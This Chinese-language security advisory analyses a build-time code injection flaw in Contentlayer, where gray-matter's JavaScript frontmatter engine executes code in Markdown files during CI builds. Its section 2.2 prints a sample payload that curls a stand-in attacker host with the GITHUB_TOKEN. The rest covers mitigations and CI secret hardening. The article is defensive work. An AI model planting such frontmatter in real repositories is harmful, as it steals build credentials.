导语:Contentlayer 代码注入漏洞(CVE-2026-129948)以 CVSS 8.8 的高危评级敲响了静态站点构建链的警钟——攻击者无需任何认证,只需在 Markdown 或 MDX 文件头部写入
---js前置分隔符,即可在 CI 构建阶段执行任意 JavaScript,直接窃取构建环境中的密钥与令牌。这不是一个普通的 XSS 变种,而是一次典型的「构建期远程代码执行(Build-time RCE)」供应链攻击。
一、Contentlayer 代码注入漏洞的攻击面全景
<p class="doc-p" Contentlayer 是一个被大量 Next.js 内容型站点采用的「内容即数据」构建框架,其 @contentlayer/source-files 包负责读取本地 Markdown/MDX 文件并解析 frontmatter。问题恰恰出在解析环节:它在 parseMarkdown() 中调用了 gray-matter,而 gray-matter 默认保留了 JavaScript 引擎(---js / ---javascript 分隔符),允许 frontmatter 中直接书写可执行的 JS 表达式。
这意味着,只要攻击者能够向内容仓库提交一个 Markdown 文件(例如通过开源项目的 PR、CMS 投稿、多租户内容平台的上传接口),就能在 CI 流水线执行 contentlayer build 的瞬间获得任意代码执行能力。构建环境中的 GITHUB_TOKEN、NPM 发布令牌、云厂商 AccessKey、数据库连接串全部暴露在攻击者视野之内。
企业级架构规范
flowchart TD
subgraph 攻击入口层 ["攻击入口层 (Attack Entry Tier)"]
A["攻击者提交恶意 Markdown/MDX 文件"] --> B["PR / CMS 投稿 / 上传接口"]
end
subgraph 构建触发层 ["构建触发层 (Build Trigger Tier)"]
B --> C["CI 流水线触发 contentlayer build"]
C --> D["source-files 读取内容文件"]
end
subgraph 解析执行层 ["解析执行层 (Parse & Execute Tier)"]
D --> E["parseMarkdown() 调用 gray-matter"]
E --> F["检测到 ---js 前置分隔符"]
F --> G["JavaScript 引擎执行任意代码"]
end
subgraph 影响外泄层 ["影响外泄层 (Impact & Exfiltration Tier)"]
G --> H["读取 process.env 构建密钥"]
H --> I["外传至攻击者 C2 / 写入构建产物"]
end
二、漏洞技术细节与 CVSS 8.8 评分依据
2.1 漏洞基本信息
| 评估维度 | 详情 | 风险等级 |
|---|---|---|
| CVE 编号 | CVE-2026-129948 | 已分配 |
| 影响组件 | @contentlayer/source-files ≤ 0.3.4 | 明确范围 |
| 漏洞类型 | 代码注入 / 构建期 RCE | 高危 |
| CVSS 评分 | 8.8 (High) | High |
| 攻击向量 | 网络 (AV:N) / 无需认证 (PR:N) | 易利用 |
| 影响范围 | 机密性高 / 完整性高 / 可用性高 | C:H/I:H/A:H |
2.2 攻击载荷的最小化形态
该漏洞的可怕之处在于攻击载荷极其简单,无需任何依赖注入或原型链利用技巧。攻击者只需构造如下文件内容:
---js
const cp = require('child_process');
cp.execSync('curl https://attacker.example/c2?token=' + process.env.GITHUB_TOKEN);
---
# 一篇看起来完全正常的博客文章
这里是正文内容,用于掩盖恶意载荷。
当 Contentlayer 在 CI 中解析该文件时,gray-matter 识别到 ---js 分隔符,会将该段内容作为 JavaScript 代码执行,从而完成密钥外泄。整个过程发生在构建阶段,不会出现在最终产物中,常规的运行时安全扫描完全无法发现。
该漏洞的利用门槛极低:攻击者不需要管理员权限、不需要绕过任何认证,只需要一次内容提交机会。对于接受外部 PR 的开源项目、支持用户投稿的 CMS 平台、以及多租户 SaaS 内容系统,这等同于把 CI 环境的 root 权限交给任何能提交 Markdown 的人。
三、源码根因:gray-matter 的 JS 引擎为何成为突破口
要理解 Contentlayer 代码注入漏洞的本质,必须回到 gray-matter 的设计。该库为了支持「动态 frontmatter」,内置了多种解析引擎,其中 JavaScript 引擎允许在 frontmatter 中书写任意 JS 表达式,并将求值结果作为元数据返回。这本是一个便利特性,但在处理不可信内容时就成了致命缺陷。
// gray-matter 内部根据分隔符选择引擎
const engines = {
yaml: ...,
json: ...,
javascript: {
parse: (str) => {
// 关键风险点:直接对 frontmatter 内容求值
return new Function('return (' + str + ')')();
}
}
};
// Contentlayer parseMarkdown() 未显式禁用 js 引擎
matter(content, {
// 未设置 engines: { javascript: false }
});
Contentlayer 的 parseMarkdown() 在调用 gray-matter 时没有传入 engines: { javascript: false } 配置,导致默认的 JS 引擎保持启用状态。从架构视角看,这是典型的「默认不安全(Secure by Default 缺失)」问题:库的便利默认值与框架的安全预期之间存在错配。
任何处理「不可信输入」的解析器,都必须遵循最小能力原则:显式关闭一切可执行引擎(JS、Ruby、Python 等),只保留纯数据格式(YAML/JSON/TOML)。安全配置应当是显式开启,而非显式关闭。
四、修复方案与三层防御体系
4.1 立即缓解:锁定安全版本与禁用引擎
对于无法立即升级的项目,最直接的缓解手段是在内容解析入口显式禁用 JavaScript 引擎。若项目直接使用 gray-matter,可通过如下方式加固:
const matter = require('gray-matter');
function safeParse(raw) {
return matter(raw, {
engines: {
javascript: false, // 关键:禁用 JS 引擎
},
});
}
module.exports = { safeParse };
同时,建议在 CI 中增加对内容文件的静态检查,拦截包含 ---js 或 ---javascript 分隔符的文件:
4.2 根治方案:升级与替换
Contentlayer 项目本身已进入维护停滞状态,长期方案应考虑迁移至活跃维护的替代方案(如 Content Collections、Velite 或直接使用 unified/remark 生态自建解析管线)。若必须保留 Contentlayer,应等待官方发布修复版本,并在升级前通过 4.1 的缓解措施过渡。
| 防御层级 | 传统做法 | 现代加固方案 | 架构收益 |
|---|---|---|---|
| 解析层 | 默认启用 gray-matter JS 引擎 | 显式 engines: { javascript: false } |
阻断注入入口 |
| CI 层 | 构建密钥明文注入环境变量 | 最小权限 Token + OIDC 短期凭证 | 降低泄露影响 |
| 内容层 | 信任所有 PR 内容 | CI 前置静态扫描 + 人工审核 | 纵深防御 |
4.3 CI 密钥最小权限化
即便解析层被攻破,若 CI 环境遵循最小权限原则,攻击者能窃取的资产也极为有限。建议:
- 将
GITHUB_TOKEN权限收敛为contents: read,禁止packages: write等发布权限; - 使用 OIDC 联合身份获取云厂商短期凭证,替代长期 AccessKey;
- 对 PR 触发的构建使用隔离环境,禁止访问生产密钥;
- 在构建日志中屏蔽敏感环境变量输出。
很多团队在修复解析层后便认为万事大吉,却忽略了 CI 中仍存在长期有效的 NPM 发布令牌。一旦攻击者通过其他途径(如依赖投毒)再次触达构建环境,长期令牌仍是最大的单点风险。密钥治理必须与代码修复同步推进。
五、供应链安全启示:从 Contentlayer 代码注入漏洞看构建链治理
Contentlayer 代码注入漏洞并非孤例,它揭示了一个被长期低估的攻击面:构建期(Build-time)。现代前端框架大量采用「内容即代码」的模式,Markdown、MDX、配置文件在构建时被解析、求值、执行,这些环节的安全边界远比运行时模糊。攻击者正在系统性地将目标从生产环境前移到 CI/CD 流水线,因为那里集中了最高价值的凭证。
从架构治理角度,我建议将「内容解析」纳入威胁建模范围,并落实三条原则:其一,所有解析器默认关闭可执行引擎;其二,CI 凭证遵循最小权限与短期化;其三,对来自外部的任何内容输入(PR、投稿、上传)实施构建前静态扫描。只有把防御纵深前移到内容入口,才能真正阻断这类构建期 RCE 的攻击链。
